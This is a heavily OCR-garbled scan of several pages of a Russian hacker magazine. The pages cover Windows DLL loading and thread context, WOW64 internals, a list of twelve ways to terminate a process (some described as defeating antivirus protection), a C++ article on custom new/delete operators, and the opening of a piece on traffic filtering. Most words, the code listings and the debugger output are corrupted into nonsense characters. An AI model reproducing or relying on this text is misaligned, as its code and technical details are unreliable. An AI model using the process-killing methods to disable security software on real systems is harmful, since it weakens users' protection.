передается [6г!п]1!а[!:е1бшп}<. Раз ух исполнение нового потока начи-
нается с вь:зова п16[[||6г!п!1!а[!:е]Бшп[, то этой функции передается
стартовь:й адрес, оп ределеннь:й функцией [геа|е1Бгеа0. [аким образом
хАквР 08 /1з97 10
BemeP34 for Journal-plaza.net
вь тооь Р[я|[Ё фш юф
!@![йы*Ёа1ф!₠19
*1цд]
Рь ты' г'п{ь ор[м нф
Рш ьФьФ пФя6
шзФ 01шш0 0ш0ыю0
0ш0з08 010шш0 ш0ш
0ш0{Ф 010ФФ0 шш6{юо
0ш0{А0 010фФ0 Ф006ш
0ш0{сс 010шФ0 Ф006ш
Ра!ь
{ 6:\м6ошз\охр|саг'ехе
вс:\р[о9гап'ь5\'ь5ь9*\.ь5ф*,*е
ва:\ппаоФ5\'у*ф32к|'мп.ехе
п6:\ши6оФ\5у*епз2\3кь5!'ехе
!6:\рго9гап |1!*\сошп г|!е5\|й[о5ог[ 5ьые6\67аешо\пйп.ехе
5а|\ф|йош5\'у5!сФз2\а!0'.хе
п6|\шааоф5\'5!фзаш5с*гу.ехе
Рв п!рм |щ9ё
0(ш678 010ш0ш 0шЁ0ш
ш6ш 0иш000 Ф1ш0
0шш6с4 0и00000 ш60ш
0ш6Рс 0!ш0ш ш60ш
0ш076 00{Ф00о 0Ф5аФ
0ш0640 0|ф0000 0ш0000
0цю07к 01шш0 0ш60Ф
0ш0248 01шш 0ш60ф
_1
шш 0иФФ0 ш1Аю00
шф6с4 00{ш0 шм
.1
:.1
Р#
' 6:\ш!паош'\ехр!Фы.ев
с$ а|\маош5\5у5!епз2\п!6]!.а|
д6:\шьаом\5я!ем\!@пы2.а!!
да|\шифн!\'у'!с#2\.6уфз2.а[
да:\фьфп'ьу'!епз2\ц*4.6!!
ш6|\шпаош5\3р|емввсц[32'6
6 а|\нпаон5\9у5|емф.ошф|.4!
д 6:\шьаоБ\$!см\96!э2,6]
в а:\шь6ош\5Б|м!5с!?.6!
д а|\ф6ош\'у5!фцп**.а!
|$ 6|\маом\'у5!вш2\ы6?.{!
|ягосш !оз6й: 6
становится понятно [а ух под отладчиком - тем более|],
что сгеа|етьгеа6 долхен передать через АРс в вь1зов
|6г|п!1!а[]:е[Бшп[ параметрь: старта процесса.
[1одведем итоги: в случае' если 6\мпеа5оп равен 0[_|
Рп0с в55_АттАс Ё [п ри загруз ке 6и 6л иоте ки], [р Резепе0
равен \[-)|| для динамической загрузки и поп-!\[.'|| для
статической загрузки.
8 слунае, если {6тмРеаэоп равен 0||_Р&0св55 0ЁтАсн
{при вь:грузке библиотеки]' [рРезеше6 равен [..!1.][ при
вь!зове ггее|!ьгац и при оши6ке загрузки 0||' и поп-
ш0|| - при окончании процесса.
3ачем й!сгозо{| скрь!вать этот факт? Ёа самом деле' я бь!
тохе его скрь:л ,). [1одумай сам' сколько возмохностей
подмень! контекста открь!вается при этом| (-]то? 1ь: никог_
да не сль!шал о контексте процесса? !4 системнь:й вь;зов
5е|1Бгеа06оп{ех1 тебе тохе ни о чем не говорит? 0кей'
рассм0трим. 8о-первь:х' контроль над струкцрой с0\тЁхт
даст нам контроль над регистрами процессора. 8се реги-
стрь! процессора при старте указь!ваются в струкцре
с0\т[хт (смотри описание этой струкцрь:]. 3то моцг бь:ть
0[8!6-регистрь! для контроля над определеннь!м при_
лохением или хе установки перехватов вь!зовов функций.
Али' кстати, установки флага 1[ в регистре ЁЁ[А05
8о-вторь:х' пгем изменения [рРезегме6-'Ё!р мохно изме-
нить точку старта 6и6лиотеки. 3та особенность такхе мохет
бь:ть использована в определении версии 0[, которая
используется на целевой машине пугем вь:бора тонки входа
в зависимости от версии 0|. Ёезаменимое свойство для
обеспечения переносимости кода' кстати.
АнАл0гичнь!г АдРЁсА зАгРузки 0]]-
[4 действительно, если ть! обращал внимание, такие
би6лиотеки как п{6[['6[[, [<егпе[32'6[[ и шзег32.0[[ для всех
процессов всегда загрухаются по одному и тому системно-
му адресу хотя й!сгозо{1 это никак не обьясняет. |онему?
(ак ть: знаешь' указаннь!е 6иблио-геки представляют
программисц на6ор системнь;х функций для работь; с
системой. ( примеру' п16[[.0[[ является самой вахной из
юзермоднь!х би6лиотек. 0на представляет собой своео-
бразную заглушку для вь!зова системнь:х сервисов. !,4 она
долхна бьгть загрухена по одному и тому хе адресу именно
по этой принине. Ёапример, создание лю6ого юзермод_
ного потока всегда происходит через вь:зов функции
п{6||! |0г!п!!!а!]:е_[[оп[- Функция п10||| (!!эегАрс0!зра(сБег
х^кЁР 08 /1 з9/ 1 0
нухна системе для того, чтобь: поставить в очередь
исполнение юзермоднь!х асинхроннь!х вь;зовов- 9дро
операционной системь1 определяет адреса этих функций
еще на стадии инициализации системь!. /1, так как ядро
использует скэшированнь!е указатели на эти функции
|для 6ь:стродействия], п|6|!.6|| ухе не мохет 6ь:ть загру-
хена по другим адресам. (егпе|32.6[[ не мохет бь:ть
загрухен по различнь!м адресам, потому что большое
к0л ичество п редоставляемь:х этой библиотекой сервисов
используются сис'темой для кросспроцессовь:х инъекций
кода' Ё1апример, [егпе|32.6|| ответственна за обработник
собь:тий консоли [нто делает команда [1г[+[ в консоли'
помнишь?]. 1ак как консоль могут запустить многие про-
граммь1' адрес обра6отника 81г[+6 долхен бь:ть одним и
тем хе. Ёу а цзег32.6[[ постоянно загрухается по одно-
му и тому хе адресу по _ой простой причине' что оьа
п редоставляет кучу сервисов' испол ьзуем ь!х тш!п32}<.зуз
_ драйвера, реализующего оконную подсистему !!!п6ошз
!казатели на эти функции тм!п32[.зуз получает через
вь:зов \|[..)зег!п|{!а!!:е6||еп1Р{пАггау5 во время загрузки.
0дн0п0т0чн0сть? нЁ тш-т0 Бь]л0!
!]асто ли ть! используешь в своих программах отдельнь!е
потоки? Ёсли программа простая' и ей не тре6уется обра-
бать:вать большие массивь! даннь!х, вряд ли она для тебя
будет многопотоковой. !о это только на первь:й взгляд.
['1отому нто многие (если не все] \{!п32-прилохения на
са мом деле я вляются многопотоковь! м и п рограммами'
дахе если их разработник утверхдает обратное. ( приме-
ру, при старте программь! сервисом подсистемь! 65Р55 в
программе по умолчанию создается отдельнь;й поток для
обработки консольнь!х собь:тий типа ₠1г[+6/61г[+8геа[.
8о- втор ь: х, бол ьш и нство ![! п32-АР! -фун к ций для
вь}полнения своего кода используют отдельнь!е потоки'
Ё а п ри м е р' в ь:зов [[5ААзуп сое1 н о5|ву[',]а гп е и с пол ьзует
синхроннь;й вь:зов 9е1Боз|бупагт]е в отдельном потоке'
после чего возвращает резул ьтать! запра шивающему
через оконнь!е сообщения.
нАтивнь|ми х86_
и0т!к и их ш0ш64_
йеханизм ![ош64 включает в се6я полнь:й набор 32_6ит-
нь!х системнь!х 0[[, реализующий \{1п32 АР!-функции
!щвщ 1|п.Ф5!?.
01шш0 Ф0ггф0
-щ_0Фвш
щ!00гш
770с00Ф Ф0Асо00
77₠ш00 ф092ш
77гвш00 ф011ш
75гш00 Ф0го0Ф
7т|Ф00 000{9&ю
7₠ш0 ш910ш
7к00ш ш5фФ
77{ошц} ш1з00ш
Р*ь
9с:\ргоогап |г|в\поа]!а |[₠'ох\г?*ох'.хё
в6:\Фпаош5\*4фз2и!а!].6!
56:\шп6оБ\{*епз2ше!Ф!?,6!
с$с:\р!о9.ап 6!е5\ю'!ь ггегох\ю!'6!!
!!(|ь[ошФ я!в5\Фо'!ь'![в|ох\5ц![е3.6|
[9с|\р.оуп пе5\ф?!!ь ![е'ох\Фох^19.6ш
ша|\шйаош5\'у5!епз2\Бк.!'а!
|!с:\рю9ш |;Ё:\ш:!Б 6!.ьх\,Ф250.а|
вс:\р.о9.п г!ь5\п?1!!а г'.₠'ох\п5Р'4.а!.
ш 6:\шьаон5\5у5!епз2\.ау.р|з2.а0
|{ а|\ф6ош5\5яфз2\.рс*4'6!!
|щм 1щяв
0иш0ш 0ш00Ф
ш шз0ш
ш фФ80ф
1ф000Ф ш000
0ш000 пю7з0ш
781з00Ф шфш
77сш00 ш00Ф
0шш 0цгюш
004₠0000 0@90Ф
77осш 0шш
77[п0ф 0ш20ш :]
@вфь.;сё )'
Адреса загрузки п!6]1.611 и кегпе[з2.6[[ в процессах ехр[огег.ехе и [!ге{ох.ехе
> 6у0
Ёа 0!0 ть: смохешь
найти последнюю
версию !!!п086,
незаменимого отлад-
чика под 0[ \0!п6ошз'
а такхе кое-какой
интереснь;й код, ко-
торь:й позволиттебе
сделать свою систему
более защищенной'
> !!п]<э
!ля 6олее конкретно-
го изучения внутрен-
ностей 0₠ !!|п6ошз
обь;ннь:х форумов
недостаточно.
0чень часто золоть;е
крупинки мохно
оть!скать в 6логах
системнь!х програм-
мистов' таких как
щщш.а[ех опезсш'
соп или [Ф::7|00гц.
тех![[!шгп.ог9'
]@!,йЁ**]ф!Ё₠!9
) 11з
BemeP34 for Journal-plaza.net
,2а#
Архитектура шош64
(для их использования !!ош64_программами}' ]ак какова хе разница
мехду <н0рмальнь:ми> 32-битнь;ми 6[[ и их $ош64-версиями?
Ёа 64-битнь:х версиях \:!!п0ошз разниць! мехду такими би6лиотека-
ми нет - 6ольшинство 0[[ являют со6ой 32-битнь!е копии с32-6ит-
ной версии операционной системь!. ( примеру, \:!оии64-библиотека
шз2_32.6|!' на |!з1а х64 - тотхе самь;й файл, что и 32_6итная ууэ2-32.
0[[ на !!э1а х86. 8месте с тем, некоторь!е 6[[ отличаются очень значи_
тельно, к примеру, п10||.0||.
Бсли мы глянем сквозь призму отладчика на х86 версию п10[[.6[[, то
легко смохем увидеть, что системнь:й вь!зов уходит в ядро системь!
через так назь:ваемь:й 5уз!еп6а![51шб в струкцре 5Баге0[']зег0а|а:
1[ё> ц п!ё11!ш!с1о5е
псо11 ! 2шс1о5е:
поу еах,30ь
поу еох,о{'5е|' 3ьатес1'5егоаса]5у5|епса}1$с'ць
са11 ашото рет [еох]
тес 4
8 \:!ош64-версии п!0[[ картина разительно отличается. 8ь:зов систем_
ного сервиса происходит через поле по смещению 0хс0 в 32-битной
струкцре [Ё8 [1Бгеа0 Бпу!гоппеп! 8[ос[]:
1ка> ц пео11!шес]_о5е
псс]1]2т}'с1о5е:
поу еах,0сь
хог есх,есх
1еа еёх, [е5р+4]
са11 ашогё р!г {в: [0₠0!]
гес 4
8 свою онередь' раскрь!ваем струкцру [Ё8 и там по смещению 0хс0
види м поле. помечен ное ка к "\:!0\г!32Резегуе6'' :
1кс> с[ п!а11!_твв
+0х000 шст|ь
[3к1р.. . ]
+0х0с0 шош32веБегуе6
> 114
: _шт_т]в
: Р|г32 !о10
(стати' в качестве лирического отсцпления от темь! хочу заметить,
что если ть! планируешь использовать 32_6итнь:е программь! под
[ош64, 6удь очень внимателен при использовании таких функций как
0е!1[тгеа66оп1ех{/5е11Бгеа6[оп[ех1, и вот понему.,[анн ь:е функции
требуют дополнительнь!х привилегий при исполнении в контексте
!!ош64. 3 частности, им нухен досцп к даннь:м 1ЁРЁА0_0(-.|Ёпу_
!шг0пмАт!0ш.
12 сп0с0Б0в 3Ав[Ршить пР0цгсс
(-]тобь: ты всегда мог вь:йти победителем из социалистического сорев_
нования на тему <(то знает больше спосо6ов грохнль процесс>' про_
веденного в круцдрузей, лю6имьтй хурнал за6отливо подгоняетте6е
цель:х 1 2 методов:
1! йспользовать функции ]егп!па1еРгосезз или \{1егп!па{еРгосезз -
понятно без лишних слов, правда, они всегда перехвать!ва}отся авера-
ми для своей защить!;
2} [4'спользовать [геа{еРепо[е][геа6 с вь;зовом Ёх!{Ргосезз' !ля этого
тебе нухно буАет найти адрес Ёх|{Ргосез5 внлри того процесса, кото_
рьпй тьг хонешь завершить;
3) йспользовать комбинацию \10шегу5уз1еп!п[огпа1!оп или {оо!'Бе|р32
с вь!зовом 1егп|па|е][геа6 ог \|[егп!па1е]Бгеа0. 8се предельно про-
сто - находишь все потоки искомого процесса и завершаешь их вь!зо-
вом 1еггп!па1е1Бгеа6 | \{1еггп|па|е1Бгеа6] ;
41 8ь:звать \10шегу5уз|еп!п{огпа{|оп или |оо|Бе!р32, после чего вь]зо-
вом 5е11Бгеа68оп1ех1 установить регистр Ё!Р так, чтобьп он указь!вал на
Бх!1Ргосезз;
5] 8 цикле от 0 до 4096 вь!звать функцию 0шр|[са!еЁап0|е с параме_
трами 1аг9е{Ргосезз и 1аг9е{РгосеззЁап6[е равнь!ми \[.)||, а 0р!!опз
равньгм 0х1. 3то закроет если не все, то почти все хендль! открь!того
процесса. 9то интересно _ этот метод прекрасно действует против
слохнь!х программ и систем, типа антивирусов, однако не смохет грох-
нгь по1ера6.ехе;
6!.[овольно громоздкий способ _ мохно вь!звать последовательно
6геа!е.1оБ0б]ес|, Азз!9пРгосезэ1о.)об0Б]ес{ и }еггп!па{е!об0б]ес1;
7} [лохнь:й способ, больше известнь:й в среде дебаггеров _ вь!зь!-
ваем последовательно ш1сгеа|е0еБш90б]ес1 для процесса, затем
\{0ебш9Ас1!меРгосе55' после чего закрь!ваем хендл де6аг-объекта
{читай - процесса) вь!зовом 6[оэеЁап0[е;
81 0ригинальнь:й спосо6 _ последовательно для всего региона памяти
процесса вь!зь!ваем !!Ёша[0шегуЁх с параметром РА6Ё_\0А[₠Ё55 и
!!Ёца[Рго|ес1Ёх. [1роцесс тихо умрет' когда все страниць! памяти станл
недосцпнь!ми;
9| 1опорнь:й способ - открь!ваем память процесса !!Ёша|0шегуЁх'
после чего вь!зовом \:!г!1еРгосеэзйепогу начинаем писать в память
процесса всякую нечитаемую фигню;
10! Ёще один оригинальнь:й спосо6 _ до посинения вь!зь!вать
!|г{ша[0шецБх. (огда коннится память под вь!деление, процесс умрет
сам:
1 1! !дерная функция - Рз]егп!па{еРгосезз (Рзр1Ёгп!па{еРгосезз|. 1ак
как ядром она не экспортируется' вь!звать ее мохно только пугем ска-
нирования ядра на предмет определенной сигнацрь!;
12| Ёще одна неэкспортируемая фукнция -
Рзр1егп[па{е1Бгеа08уРо!п1ег [1щется в ядре аналогичнь:м образом,
пгем сканирования памяти.
(стати, код, реализующий поиск и перехват
Рзр1егп! па1е1Бгеа0 8уРо!п|ег для за щить! твоего п роцесса от у6ийства
таким способом, ть! смохешь найти на диске.
3Ашюч[ниЁ
9итать доки, бесспорно, очень полезно' 11оскольку они - рулез.
0днако практика показь!вает, что самь!е вкусности и сочнь!е куски
0[ часто бь;вают недокументированнь!ми, и разработники \:!|п6оииз
очень неохотно раскрь|вают нам эти секреть:. Ёо все тайное всегда
становится явнь:м. 1ак нто дерзай! }данного компилирования' и да
пре6удет с то6ой 6ила! 3
х^к:Р 08 /| з9, 1 0
BemeP34 for Journal-plaza.net
к0двРскиЁ
типсь| итРиксь!
[!равила к0динга на [++ д'!я наст0ящих спец0в
[++ иск0нн0 считАгтся гиБким' н0 сл0жнь!м, я3ь|к0м
пР0гРАммиР0вАния' п0чгму? п0т0му чт0 тАк 0н0 1'! Ё[1Б :).
в 3т0й стАтьг мь| у3нАвм 0Б 0пгРАт0РАх шгш и 0Ё[гтг, 0 т0м,
кАк писАть с0Бствгннь|г пР0цгдуРь| упРАвлгния пАмятью
и кАк н[ с0вЁРшить ужАсную 0шиБку 3АнимАясь этим
нглЁгким дЁл0м.
йногие кодерь:' вь:бирая 6++ в качестве основного язь!ка для написа-
ния своих программ' хотяттем самь:м добиться от них максимальной
эффективности' как в планё потребления ресурсов, так и в плане скорости
в ь! пол нен ия. !,4 мен но на п исан ие собствен н ь;х о п ераторов для работь; с
памятьюдаеттакую возмохность. (онечно' в наше время, когда повсе-
местно исп0льзуются сборщики мусора {например, в !ауа или [#)' сам по
се6е вь:зов специальнь!х команддля вь!деления и освобохдения памяти
вь!глядит немного странно' но именно благодаря этим командам любой
п рогра мм ист мохет зна ч ител ьно улучш ить п роизводител ьн ость своего
кода.
.[,ля того' ятобь: написать правильнь:й код' которь:й будет работать с памя-
тью, надо понимать, как организовань! процедурь: управления этой самой
памятью в 6++. 1акхе следует помнить о многопоточности и про6лемах'
связаннь:х с ней. (уна - это модифицируемь:й глобальнь:й ресурс, досцп
к которомудолхен бь:ть синхронизирован' Ёсли игнорировать этот факт,
то рано или поздно все сломается, и потом будет очень слохно разо-
браться' в чем хе собственно дело. 11оэтому при написании со6ственного
менедхера памяти всегда надо помнить о возмохности одновременного
досцпа к куче из разнь!х потоков программь!.
(огда имеет смь!сл 3аменять
пеш и {е[е!е?
!ля нанала давай разберемся' стоитли нам вообще писать собственнь:е
процедурь: ра6оть; с памятью. |']аще всего петм и 6е[е{е перепись:ваютдля
того' что6ь; обнарухитьтак назь!ваемьпе ошибки применения' (таким
ошибкам относятся' например' лечки памяти' 0ни моугслучаться как из-
за простой невнимательности программиста' так и вследствие вь!сокого
уровня слохности струкцрь! кода. ['1опросц говоря' для динамически
вь:деленной памяти не всегда вь:зь;вается 6е[е1е' Бь:вает и другая край-
ность' когда для одного и того хе блока из куяи 6е[е1е вь!зь!вается два и
более раз. 8 этом слунае поведение программь! предсказать невозмохно.
8сего этого мохно из6ехать' если пользовательские функции по работе
хАк₠Р 08 /1з9/ 10
с куней 6удр вести список вь!деленнь:х блоков памяти. Ёще одной насто
встренающейся ошибкой применения является переполнение буфера.
[колько ха керских ата к бь:ло успеш но вь! п 0л нено ч ерез та кую вот ста рую,
как мир, дьтру? Антагонист переполнения - это запись с адреса' предше-
ствующе го на чалу вь:делен но го блока. 6а моп исная версия пеш м о)кет за'
прашивать 6локи большего размера и запись|вать в начало и конецтаких
блоков специальную сигнацру. 0ператор 6е[е|е мохет проверять наличие
этой сигнацрь: и' если ее не окахется на месте' подниматьтревот.
8торой прининой, из-за которой мохно смело перепись!вать процеду-
рь! управления памятью, является производительность. [тандартнь;е
версии операторов петш и 0е[е1е, поставляемь!е вместе с компилятором'
<сл и ш ко м > ун и версал ьн ь:. 0н и долхн ь! оди на ково хо рошо работать
ка к для кода ' вь! полнен ие кото рого за ни мает ме н ьше се кундь!, та к и для
программ, аптайм которь!х составляет месяць:. 3ффективно вь:делять как
несколько больших блоков памяти, которь!е существуют на протяхении
всей работь: программь!' так и мнохество маленьких' которь1е <хивл>
соть1е дол и секундь:. 6та нда ртн ь:е фун кци и ра6оть: с ь уней долхн ь: уметь
эффективно 6ороться с ее фрагментацией, посколькудахе если суммар-
нь:й о6ъем свободной памяти 6удетдостаточно велик' вь!сокая степень ее
<раздробленност и> мохет помешать вь!делению нухного блока'
[еперь понятно, понемудефолтнь:е петм и 6е[е1е не всегда оказь!ваются
бь:стрь:ми и эффективньтми - используются слишком общие алгоритмь!
работь: с памятью, которь!е призвань! учесть все нюансь;' 8 некоторь;х
случаях написание со6ственнь;х операторов ра6оть! с памятью помогает
значительно ускорить вь!полнение кода' а такхе уменьшить расход ресур-
сов. 1ак, например' самописнь!е петм и 0е[е{е будр полезнь! для ускорения
процесса распределения и освобохдения памяти' для уменьшения
накладнь!х расходов' характернь!х для стандартного менедхера памяти;
нтобь: компенсировать субоптимальное вь!равнивание в распределите-
лях по умолчанию [об этом нщь нихе), нтобь: сгруппировать взаимосвя-
заннь:е объекть; друг с другом и т.д.
Бще онень насто пе\м и 6е[е1е перепись:ваютдля с6ора статистики о6
используемой памяти' 8 вь:соконагрухеннь!х прилохениях часто ока-
) 115
BemeP34 for Journal-plaza.net
[!рограммирование _ нелегкая штука' а
тем более
на с++ -
зь!ваются очень полезнь!ми знания отом, как используется память: как
распределень! вь;деляемь:е блоки по размерам' каково время иххизни,
ка кой п орядок вь:делен ия и освобохден ия блоков хара ктерен для кода,
изменяется ли <потре6ление"динамической памяти на разнь[х стадиях
вь!полнения программь!' и есть ли вообще какая-ли6о закономерность.
Ёа все эти вопрось! помоуг ответить собственнь;е операторь: работь: с
памятью.
[!ример с06швенн0й версии пеш
!аписать собственную версию операторов пей и 0е[е1е достатонно про
сто. Рассмотрим, например, как мохно реализовать глобальнь;й оператор
пе\|/с контролем записи за границами вь!деленного 6лока' ['1равда, в
примере нихе есть несколько недостатков' но об этом далее'
[ользовательская версия оператоРа пеш
5[а1]1с со!151] |п[ 519пас0ге = 0хАоАпвАвА;
гу|)е'е.,:т:в!9пет1 с}]а: вуг.е;
_ | *опе' |!.: п-]/(5[с::5]2е_г 5'2е)
| пго!1 ( 5|о: : ба6_а]-1ос )
{
:з.;:о : -.:агг '.- зг6;
5]7е_| геа1$'] ае = з]те - 2 * з- |. . |-.\. );
о..: *рйеп = па'] 1 ос (геа1 5|2е) ;
] 1 { 1рмеп)
'::]:т'ог; (ба0_а1 1ос ) ;
* (5!]а| .1 с_са5г_<|пс>рмеп) ) = з19па[шге;
* ( ге] п|егр!'е[_сав[<|п|*> ( в|аг |с_са51 <вусе*> (рмеп)
+ геа15;"е - з]аео[ (|п[) ) ) = 5]опа[цге;
!е[|]:_г1 Б[а! [с-саБг<вусе*>(рмеп) + в|:ео! (]п!) ;
]
3десь мь: снанала с помощью фун кции па[[ос вь:деляем блок памяти на
два слова 6ольше, чем запрашивается в передаваемом лараметре' затем
запись!ваем сигнацру в начало и в конец вь!деленного куска памяти, пос-
ле чего возвращаем указатель на нее.
8роде все хорошо, но мь: забьпваем о такой вахной вещи, как вь!равнива-
н ие. & ногие ком п ьютерн ь!е архитекцрь: требую1 нтобь: да нн ь:е оп реде_
леннь!хтипов располагались в памяти по вполне конкретнь!м адресам.
Ёапример, архитекцра мохеттре6овать' нтобь; указатели располагались
по адресам ' кратн ь!м четь] рем, а да н нь!е ти па 6ошБ[е бь:ли вь; ровн ен ь! на
границудвойного неть:рехбайтного слова. Ёсли не соблюдать эти требо-
вания, то возмохнь! аппаратнь!е сбои или замедление работь: системь;.
[++ требует, нтобь! все указател и, возвра щаем ь[е о п ератором пеш, бь;л и
> 116
вь! ровн ен ь! для л юбого ти па да н нь:х. Фун кци я па[[ос удовлетворяет
этим условиям, но, поскольку мь! запись!ваем в наяало блока сигнацру'
и ' следо вательно' возвра щаем указател ь, смеще н н ь: й на дл и ну этой
сигнацрь!, то нет никаких гарантий' что это 6езопасно. Ёсли мь: вь!делим
память под переменную тила 6ошБ[е на комльютере с архитекцрой, где !п|
занимает четь!ре байта' то оператор пе\м' приведеннь:й в примере' скорее
всего вернет не п ра вил ьн ь: й указател ь' что в итоге м охет заверш иться
аварийной остановкой программь! или ее сильнь!м замедлением.
Ёадеюсь' теперь понятно' почему правильное вь!равнивание так вахно'
Ёо не менее вахнь!м я8ляется требование к операторам пе\'!, согласно ко-
торому все они долхнь! включать цикл вьпзова функции-о6работника леш.
Функция_о6ра6отчик пеш
(о гда опе рато р пеш не мохет удовлетворить за п рос на вь!делен ие за _
прошенного количества памяти' он возбухдает исключение' 8 старь:е
времена оператор пе\^/ возвращал ноль и следь! подобного поведения
с0хранились в некоторь!х компиляторах и по сей день. 0сновная хе масса
современнь!х компиляторов генерирует код с пеш, поддерхивающим
вь;зов исключений.
[1ередтем как вь!звать исключение после неудачной попь;тки вь;деления
памяти' оператор пеи,'долхен вь:полнить код функции-обработника [пеии-
Бап6[ег), которая определяется пользователем. |1тобь: задать обработник,
нухно вь|звать стандартную библиотенную функцию 5е1_пеш ьап6[еп
объявленную в заголовонном файле .петш' следующим образом :
06ъявление зе1-пеш-ьапа]ег
па:леврасс: э!ё {
[урес[е[ ,/о1а (*пеш_ьап61ег) ();
Фуегу|етм о[
1Бе }х[етм (++
(₠++0х)
0тличная книга по стандарту с++
хАкЁР 08 /1 з9, 1 0
BemeP34 for Journal-plaza.net
.48
пе!{ папс11ег 5е[ пе!' ьапс1ег(пе!. папс1е| р)
(ак видно' пеш-|ап6[ег - это !уре6е{ для указателя на функцию'
которая не принимает никаких параметров' а 5е[_пе\,! [ап6[ег
функция' которая как раз получает в качестве параметра перемен
ную типа пеш [ап61.ег' ['1олуненнь:й указатель на функции впослед
ствии вь}зь!вается оператором пеш в спучае неуданной попь!тки'
вь|деления памяти. ['1редь:дущий указатель на обработяик такхе
возвращается [зе{ пеш Бап6[ег]' 3 итоге мохно получить пример-
но следующий код:
использование 5е1-пеш-ьапа[ег
] ош[.о1меп ( )
э|6: : сегг << "невозможно вь]делить память\п" ;
з[0: :абог| ( ) ;
па1п ( )
{
5[6: :5ег петл |апё1ег(оцсо'меп) ;
*рв|9!асаАггау
| 100000000!1;
1
0бработник оператора пеш вь!зь!вается циклически' пока он не
<сумеет" найти достаточное количество памяти или не вь!полнит какое
либо другое действие для корректной': обра6отки ситуации- |айти свобод-
ную па мять не та к-то п росто, но мохно п ойти на н ебол ьшую уло в ку
в начале работь программь зарезервировать некоторь:й обьем памяти и
вь:свободить его при первом вь зове обработчика. в результате таких дей
ств и й сл едую ща я п оп ь тка вь1дел ить кусо к па мяти увенча ется ус пехом.
Альтернативнь:м вариантом действий мохет 6ь:ть установка другого об-
ра6отника или вовсе его удаление' [сли текущий пеш-Бап6[ег не мохет
найти нухное колинество свободной памяти' то, возмохно, он знает
ка кой то другой о6ра6отник, которь:й справится с этой заданей лунше.
Аесли с помощью 5е[ пеш Бап6[егустановитьнулевойуказатель'тоопе-
ратор пеш сразу возбудит исключение при неудачной попь:тке вьтделения
памяти'
{акхе в функции обра6отчике оператора пеш мохно возбудить ис-
ключение типа ба0 а[[ос или любого типа, унаследованного от него.
/]сключения такого типа не перехвать!ваются в пеш, и поэтому их мохно
хАк₠Р 08 /]з9/ 10
поймать в месте вь|зова оператора. А еще мохно вообще нинего не делать
и завершить программу с помощью аьог[ или ех!1' что' собственно' мь{ и
сделали в примере..!о этого момента мь! все время говорили о глобаль
ной замене оператора пе\м' но определить специфиннь й код вь:деления
памяти мохно лишьдля объектов определенного типа' сделать это
достаточно просто' нухно лишь в кахдом классе написать свои версии
5е| пе\м бап61ег и пеш. 0пределенная в классе 5е|_петм 1-:ап6[ег позво
лит пользователям задать обработчик пешдля класса' а принадле; ащий
классу орега!ог пеш гарант!4рует' что при вь!делении: памяти для объектов
этого класса вместо глобального обработнг:ка пеш будет использован тот'
что определен в данном классе'
₠о6ственнь:й петл для кпасса
]'!|с9е[ {
' ,:
з| (]: : ае1'._11а].]1 о| 5е._пе!.-]]апс]е.
(5[-с]: :]1е1]_11а:1с]1е| 9) () ;
* . . . ,,- ', :::5 ,,_ ,. :
15:]::]].:с_: а:1ос);
5[с: : пе}]_аап6 | ег с1]ггеп| нап-1 ег;
)
0ператор пеш, определеннь;й в классе \&169е|, долхен отра6отать по
вполне определенномуалгоритму. 3о первь:х' он д0лхен вь!звать
стандартнь:й зе[_пеш Бап6[ет' указав в качестве параметра функцию-
обра6отник из класса \:1/ 69е{. 3 результате этот пеш-1-:ап0[ег станет
глобальнь м. затем следуетвь:звать глобальнь:й орега{огпеш. 3 слунае
оши6ки будет вь зван обработник пеш' принадлеуащий г лассу\&169е1.
Ёсли это ни к чему не приведет' то гло6альнь:й пеш возбудит исключение'
а пеш из класса долхен восстановить исходнь;й обра6отчик и распро-
странить исключент.':е. !сли хе вь!деление памяти прошло удачн0' то пеуу'
п р и надлеха щи й классу \7!!69е|, долхен вер нуть указател ь на эту па м ять и
восстановить п редь:дущи й пеш-ба пс][ег
[|равильнь|й менеджер памяти
|аписать почти работающий менедхер памяти просто' а вот написать
хорошо работающий менедхер в разь! слохнее' Ёухноунить;вать массу
нюансов. 3о многих книгах по [++ приводятся примерь вь сокопроизво-
дительного кода распределения памяти' но опускаются такие <скучнь1е>
моменть!, как переносимость, соглашения о вь!равнивании' безопасность
относительно потоков и т.д.
8 6ольшинстве случаев следует хорошо подумать' прехде чем писать
собственнь:е процедурь работь с памятью. Ёекоторьте современнь е
компиляторь умеют протоколировать и отлахивать рабоц фунь ций
управления памятью' \4'охно найти мно+ество } оммерческих продуктов'
позволяющих заменить менед кер памяти' поставляемь й ! омпилятором.
1акие продукть; хорошо протестировань и практически не имеютошибок.
/] все хе, если ни один из этих вариантов тебе не подошел' то советую'
прехде чем заняться кодингом собственнь;х пеш и 6е[е{е' заглянуть в
ореп 5о|-]гсе проекть поуправлению памятью. Ёапример' ознакомиться с
би6лиотекой Роо[ из проекта Бооз|- 1ам мохно найти мнохество мелочей'
котор ь е п оз вол ят детал ьно ра зоб раться во всех то н ! остя х уп ра вл ен ия
памятью в ₠++
^
3аключение
3то бь:ла лишь небольшая частьтого, что мохно сказать об операторах
пеш и 6е[е|е. |адеюсь' в следующих статьях мь продолхим познавать
тайнь: функций управления памятью'=!
;:11
[| ра вил ьное офор мл ен ие тр юко в
вина 6агов
- мийус пойо-
> 117
BemeP34 for Journal-plaza.net
хо
аа
п
ь|
с
|оа
к!
п
н
з
ЁщЁ нБск0льк0 сп0с0Б0в к0нтР0ля тРАФикА и упРАвлЁния
д0ступ0м
Рабоч ий день большинства юзеров начинается с просмотра сообщений
в ..0дноклассниках>>, чтен ия новосте й и посещен ия любь!х других ресур-
сов, не связаннь!х с вь!полнением своих слухебнь:х обязанностей' !е-
которое время начальство смотрит на это сквозь пальць!, но в один пре-
краснь;й момент поступает комаЁ!0: <3се 6локировать!>.
п0дРучнь|Ё сРЁдствА ш]п0ош5
8строенньхй в пос.'|ч]ние версии \:!!п6отллз брандмаРр в режиме повьг
тпенной 6езопасности уже о6ладает достаточнь1м ф1нкционалом' поз-
во.гляющим за6локировать }тРкнь:й порт и удаленнь:й 1Р_адрес для входя_
щихи исходящих соединений. Фненьудо6но, нто настройки а0т{!гетла11
производятФ| не только в консоли йй₠ (локально гтли удаленно), но и
посрч]ством гР}т1повь!х политик. 1ак, вдоменной среде можно приме-
н'|ть единь[е установки, которь'е автоматически устанавлива!отся и Рас-
пРостра!'1}отся с одтаойтонтот. !дяре1пен11'| поставленной задани может
подойти и пе1в[т' поскольц он }'},1еетуправ.'шть прав|'1ами всщ)оенного
брандмауэра и поддер)кивает во3мо)кностъ вь|полнени'1 команд на
